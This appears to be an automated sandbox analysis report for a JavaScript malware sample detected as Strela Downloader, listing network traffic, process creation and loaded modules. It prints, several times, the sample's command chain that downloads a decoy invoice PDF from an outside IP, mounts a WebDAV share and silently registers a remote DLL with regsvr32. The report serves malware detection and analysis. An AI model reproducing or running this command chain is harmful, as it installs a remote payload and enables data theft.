HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2305965689.0000025582105000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2373269018.000002177C1F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2373313762.000002177C22E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2372289560.000002177C22E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2373313762.000002177C22E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: net.exe, 00000007.00000002.2373269018.000002177C1F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/f
Source: svchost.exe, 00000009.00000002.3595651452.00000212FF0A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2377785087.00000212FED90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2792, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1071116915318159767.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ksbqeqv.ec2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1584,i,17465987910542294677,800333914084722569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1584,i,17465987910542294677,800333914084722569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
